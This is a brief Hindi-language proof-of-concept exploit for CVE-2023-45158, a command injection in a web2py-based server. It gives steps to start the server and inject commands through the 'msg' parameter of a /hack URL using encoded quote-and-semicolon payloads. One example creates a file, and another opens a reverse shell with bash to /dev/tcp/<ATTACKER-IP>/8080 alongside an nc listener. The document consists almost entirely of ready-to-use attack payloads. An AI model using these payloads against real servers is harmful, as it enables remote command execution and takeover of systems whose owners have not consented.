CVE-2023-45158

चरण

1. वेबसर्वर चलाएँ

cd web2py
python3 web2py.py

2. अपना कमांड URL http://<IP-ADDRESS>:8000/hack?msg=%27%3B<YOUR-COMMAND>%3B%27 का उपयोग करके इंजेक्ट करें। <IP-ADDRESS> और <YOUR-COMMAND> को अपने मानों से बदलें।

उदाहरण

1. सर्वर पर एक फ़ाइल बनाएँ

http://<IP-ADDRESS>:8000/hack?msg=%27%3Btouch%20hack%3B%27

2. रिवर्स शेल

हमलावर की मशीन पर, nc -l 127.0.0.1 8080 चलाएँ

URL पर जाएँ http://<IP-ADDRESS>:8000/hack?msg=%27%3Bbash%20-i%20>%26/dev/tcp/<ATTACKER-IP>/8080%200>%26%201%3B%27। <ATTACKER-IP> को बदलें।